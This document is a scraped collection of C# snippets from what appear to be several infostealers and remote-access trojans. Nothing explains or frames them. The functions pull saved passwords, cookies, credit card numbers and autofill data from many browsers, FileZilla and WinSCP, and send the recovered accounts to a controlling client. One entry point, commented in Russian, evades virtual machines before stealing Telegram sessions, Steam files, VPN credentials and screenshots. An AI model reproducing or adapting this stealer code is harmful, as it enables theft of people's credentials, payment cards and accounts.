public static void Parse(string dir) { Directory.CreateDirectory($"{dir}\\Browsers"); Mozila.Mozila_still(); try { foreach (string rootPath in GetProfile()) { try { string fullName = new FileInfo(rootPath).Directory.FullName; string text = rootPath.Contains(RoamingAppData) ? GetRoadData(fullName) : GetLclName(fullName); if (!string.IsNullOrEmpty(text)) { text = text[0].ToString().ToUpper() + text.Remove(0, 1); string name = GetName(fullName); GetCookies.Cookie_Grab(fullName, text, name); GetPasswords.Passwords_Grab(fullName, text, name); GetPasswords.Write_Passwords(); Get_Credit_Cards.Get_CC(fullName, text, name); Get_Credit_Cards.Write_CC(text, name); Get_Browser_Autofill.Get_Autofill(fullName, text, name); Get_Browser_Autofill.Write_Autofill(text, name); } } catch { } } } catch { } }
private void Execute(ISender client, GetPasswords message) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); var passReaders = new IAccountReader[] { new BravePassReader(), new ChromePassReader(), new OperaPassReader(), new OperaGXPassReader(), new EdgePassReader(), new YandexPassReader(), new FirefoxPassReader(), new InternetExplorerPassReader(), new FileZillaPassReader(), new WinScpPassReader() }; foreach (var passReader in passReaders) { try { recovered.AddRange(passReader.ReadAccounts()); } catch (Exception e) { Debug.WriteLine(e); } } client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); }
// Token: 0x06000158 RID: 344 RVA: 0x00008750 File Offset: 0x00006950 public static void Parse(string dir) { Directory.CreateDirectory(dir + "\\Browsers"); Steal.Cookies(); try { foreach (string text in Browser_Parse.GetProfile()) { try { string fullName = new FileInfo(text).Directory.FullName; string text2 = text.Contains(Browser_Parse.RoamingAppData) ? Browser_Parse.GetRoadData(fullName) : Browser_Parse.GetLclName(fullName); if (!string.IsNullOrEmpty(text2)) { text2 = text2[0].ToString().ToUpper() + text2.Remove(0, 1); string name = Browser_Parse.GetName(fullName); GetCookies.Cookie_Grab(fullName, text2, name); GetPasswords.Passwords_Grab(fullName, text2, name); GetPasswords.Write_Passwords(); Get_Credit_Cards.Get_CC(fullName, text2, name); Get_Credit_Cards.Write_CC(text2, name); Get_Browser_Autofill.Get_Autofill(fullName, text2, name); Get_Browser_Autofill.Write_Autofill(text2, name); } } catch { } } } catch { } }
/// <summary> /// Starts the account recovery with the associated clients. /// </summary> public void BeginAccountRecovery() { var req = new GetPasswords(); foreach (var client in _clients.Where(client => client != null)) { client.Send(req); } }
public void RecoverPasswords() { clearAllToolStripMenuItem_Click(null, null); var req = new GetPasswords(); foreach (var client in _clients.Where(client => client != null)) { client.Send(req); } }
public static void HandleGetPasswords(GetPasswords packet, Networking.Client client) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); }
private void Execute(ISender client, GetPasswords message) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); }
public static void getPasswords(GetPasswords packet, ClientMosaique client) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); List <string> raw = new List <string>(); foreach (RecoveredAccount value in recovered) { string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.username, value.password, value.URL, value.application, DELIMITER); raw.Add(rawValue); } new GetPasswordsResponse(raw).Execute(client); }
public static void Main() { // Проверяем на запуск виртуальных машин ( Virtual Machine Check ) if (!AntiVM.GetCheckVMBot() && !RunCheck.InstanceCheck()) { Environment.Exit(0); } // Создаём папку куда будем всё собирать HomeDirectory.Inizialize(); // Делаем проверку что папка создалась if (CombineEx.ExistsDir(GlobalPath.HomePath)) { // Собираем данные .... Telega.GetSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*"); MailFoxPassword.Inizialize(); BuffBoard.Inizialize(); NordVPN.Inizialize_Grabber(); DynDns.Inizialize_Grabber(); FileZilla.Inizialize_Grabber(); Pidgin.Inizialize_Grabber(); GetSteamFiles.Inizialize("*.", "*.vdf", "config", "Steam"); InfoGrabber.Inizialize(); ScreenShot.Inizialize(GlobalPath.Screen); // Сбор и вывод логинов и паролей Searcher.CopyInSafeDir(GlobalPath.LoginsPath, "Login Data"); GetPasswords.Inizialize_Multi_file(); // Сбор и вывод куки данных Searcher.CopyInSafeDir(GlobalPath.CookiesPath, "Cookies"); GetCookies.Inizialize(); // Сбор и вывод Автозаполнение форм Searcher.CopyInSafeDir(GlobalPath.WebDataPath, "Web Data"); GetAutoFill.Inizialize_AutoFill(); } }
public static void HandleGetPasswords(GetPasswords packet, Client client) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); List <string> raw = new List <string>(); foreach (RecoveredAccount value in recovered) { string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.URL, value.Application, DELIMITER); raw.Add(rawValue); } client.Send(new GetPasswordsResponse { Passwords = raw }); }